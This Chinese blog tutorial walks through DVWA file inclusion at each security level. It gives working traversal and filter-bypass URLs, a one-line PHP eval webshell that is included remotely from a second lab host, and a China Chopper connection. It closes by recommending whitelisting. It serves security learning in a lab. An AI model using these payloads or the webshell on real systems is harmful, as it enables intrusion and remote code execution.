代码编织梦想

前言

    文件包含漏洞:开发人员为了使代码更灵活,会将被包含的文件设置为变量,用来进行动态调用,从而导致客户端可以恶意调用一个恶意文件,造成文件包含漏洞。

一、Low级别

在这里插入图片描述
    如果你打开发现有红色报错The PHP function allow_url_include is not enabled.可以参考此方法解决:https://blog.csdn.net/weixin_43847838/article/details/111087969.
先查看源代码(View Source):

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?> 

可以看到它没有对page参数进行任何的过滤

1.1分析文件包含漏洞测试网页

    进入http://192.168.43.131/dvwa/vulnerabilities/fi/?page=include.php
分别点击file1.php、file2.php、file3.php
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
    这个时候会发现一个问题,仅仅是page后面的参数在变化。
进一步分析:
尝试在page后面输入test.php
在这里插入图片描述
    在页面中会提醒,找不到test.php文件,test.php是我们随便测试的,自然没有。
同时,页面提醒中也暴露出来绝对路径。那么,说明服务器会去寻找这个文件,漏洞自然存在。

1.2 构造URL暴露重要信息

测试本地文件读取:
验证一下,先新建窗口,url处输入
http://192.168.43.131/dvwa/php.ini
在这里插入图片描述
成功读取到了这个配置文件
接着返回dvwa文件包含漏洞出输入url:
http://192.168.43.131/dvwa/vulnerabilities/fi/?page=../../php.ini
在这里插入图片描述
得到
This file attempts to overwrite the original php.ini file. Doesnt always work. magic_quotes_gpc = Off allow_url_fopen on allow_url_include on
成功读取服务端的文件。

1.3 测试本地脚本运行

    先在浏览器中新建窗口,url处输入:
http://192.168.43.131/dvwa/phpinfo.php
在这里插入图片描述
得到PHP环境的配置信息。
    再返回dvwa文件包含的page参数后面进行输入,构造url:
http://192.168.43.131/dvwa/vulnerabilities/fi/?page=../../phpinfo.php
在这里插入图片描述

    表明:文件包含漏洞不单单能读文件,还能执行文件,从这个漏洞上可以看出能够导致重要的敏感信息泄露。

1.4 测试远程脚本运行

    在page参数后面更改输入,改成百度的域名尝试一下能不能打开网页
http://192.168.43.131/dvwa/vulnerabilities/fi/?page=http://www.baidu.com
在这里插入图片描述
    哟,成功了,说明这个是可以进行远程的,既然来都来到这一步了,如果把www.baidu.com改成一句话木马文件让这个文件执行,是不是就能用菜刀把整个目标拿下呢?干脆练练手

1.5 包含一句话木马文件,并用菜刀连接

思路:
先在b服务器放置webshell.txt
然后在a服务器找到文件包含漏洞
接着通过a服务器去包含b的webshell.txt
然后用菜刀连接
测试前缕清关系
a就是我的kali(192.168.43.131)
b就是我的window(192.168.43.134)

1.5.1 一句话木马

<?php
echo "hello my work!";
@eval($_POST['value']);?>?>

    先新建一个webshell.txt文件,放在根目录下
在这里插入图片描述
回到dvwa,url处输入:
192.168.43.131/dvwa/vulnerabilities/fi/?page=http://192.168.43.134/webshell.txt
回车,成功输出了字符hello my work! 说明这个txt文件已经被执行了!
在这里插入图片描述

1.6 上菜刀

在这里插入图片描述
    成功连上了!
在这里插入图片描述

题外话,菜刀连不上可能是你的马写错了,还有url,要细心检查。如果连上以后,发现点击里面的文件夹打不开了,这个时候可以试试点击左上角的清空缓存库。

二、Medium级别

查看源代码(View Source)

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?> 

    可以看到多了str_replace()函数,上面两行过滤代码的意思就是将http://https://../..\"都替换为空””。既然 ../被过滤了。那么,此时,就不能用../进行目录跳转。
可以通过双写,大小写来绕过,或者使用绝对路径来绕过

2.1双写绕过

192.168.43.131/dvwa/vulnerabilities/fi/?page=htthttp://p://www.baidu.com
在这里插入图片描述

2.2大小写绕过

192.168.43.131/dvwa/vulnerabilities/fi/?page=HtTp://www.baidu.com
在这里插入图片描述

2.3 绝对路径绕过

将文档放进C盘
在这里插入图片描述
在这里插入图片描述
http://192.168.43.134/dvwa/vulnerabilities/fi/?page=C:\phpinfo.txt
在这里插入图片描述

三、High级别

    先尝试随便输入一个,看一下会报什么错误
http://192.168.123.102/dvwa/vulnerabilities/fi/?page=haha.php
出现
ERROR: File not found!
在这里插入图片描述
    报错页面和前两个等级不同,这次提醒中没有爆出来路径,我们查看一下源代码

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 

原来如此!分析一下这个代码
high级别的判定条件是:
if( !fnmatch( “file*”, $file ) && $file != “include.php” )
fnmatch()函数根据指定的模式来匹配文件名或字符串。
fnmatch( "file*", $file )可以理解为,检查传入的$file是否匹配给出的shell通配符”file*”,如果匹配成功则返回true,否则返回false。
所以这段代码的意思就是包含的文件名中需要以file开头,或者file就为include.php,否则就输出报错 “ERROR: File not found!”。
所以这里就可以通过file协议来包含本地文件来进行绕过

3.1 file协议包含本地文件来进行绕过

    file协议,访问本地计算机中的文件夹的文件传输协议。
输入
http://192.168.43.131/dvwa/vulnerabilities/fi/?page=file:///var/www/html/dvwa/phpinfo.php
在这里插入图片描述
    当然啦,在windows系统下也是一样的,也是可以读取的
192.168.43.134/dvwa/vulnerabilities/fi/?page=file://C:\phpinfo.txt
在这里插入图片描述
成功读取。

四、impossible级别分析

查看源代码

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 

    可以看到这里的过滤代码规定了可以被包含的文件名,也叫白名单模式,只要文件名和白名单上的不一样就没有办法包含,就不会有安全问题,也就避免了文件包含漏洞的产生。

总结

impossible级别
只允许4个文件名,有效防止了文件包含漏洞。
黑名单方法–例如Medium,效果一般。
白名单方法–例如high和impossible级别,特别有效。

    本站所有文章均为原创,欢迎转载,请注明文章出处: https://blog.csdn.net/weixin_43847838/article/details/111088010.。百度和各类采集站皆不可信,搜索请谨慎鉴别。技术类文章一般都有时效性,本人习惯不定期对自己的博文进行修正和更新,因此请访问出处以查看本文的最新版本。

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/weixin_43847838/article/details/111088010

SQL注入写入一句话php(outfile方式)&中国菜刀连接-爱代码爱编程

通过SQL注入漏洞上传一句话 前言一、先读取路径二、用outfile写入1.关闭windows系统防护三、上传成功之后可以用某刀或者蚁剑 前言     具体原理不做讲解,直接开门见山此次试验全部在dvwa靶场实现,这里以dvwa的low级别为例 一、先读取路径 1' union select @@datadir,2# 二、用out

关于计算ico文件hash值脚本-爱代码爱编程

如何利用ico文件查找出网站的真实IP地址,分享一个计算网站ico文件hash值的工具(python2和python3双版本代码) python2的工具脚本代码python3的工具脚本代码 python2的工具脚本代码 import mmh3 import requests response = requests.get('https://w

浅谈PHP反序列化字符逃逸-爱代码爱编程

本文目录 前言0x01 序列化和反序列化serialize()unserialize()0x02 字符逃逸字符变多字符减少总结 前言 最近遇到了这个知识点,网上找了好几篇这方面的好像都不太仔细,自己来总结下 0x01 序列化和反序列化 serialize() 所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字

mysql:1130 is not allowed to connect to this MariaDB server解决办法-爱代码爱编程

MySQL 1130错误,无法远程连接 一、先打开phpstudy,打开phpMyAdmin二、打开mysql数据库,user表,Host选项,并将localhost更改为%      mysql:1130 is not allowed to connect to this MariaDB server 一、先打开phpstudy,打开php

DVWA文件包含报错The PHP function allow_url_include is not enabled.的解决方法-爱代码爱编程

解决方法 前言一、修改php配置文件二、重启mysql和apache服务 前言     打开File Inclusion,发现红色报错内容 The PHP function allow_url_include is not enabled.(PHP函数allow_url_include未启用)。 一、修改php配置文件     /etc

DVWA文件上传出现Incorrect folder permissions&The PHP module GD is not installed.的解决方法-爱代码爱编程

文章目录 前言一、解决办法:1.设置文件夹权限2.安装php-gd 前言     打开FileUpload的时候看到有红色的报错信息如上图所示:     报错一:Incorrect folder permissions: /var/www/html/dvwa/hackable/uploads/ Folder is not writable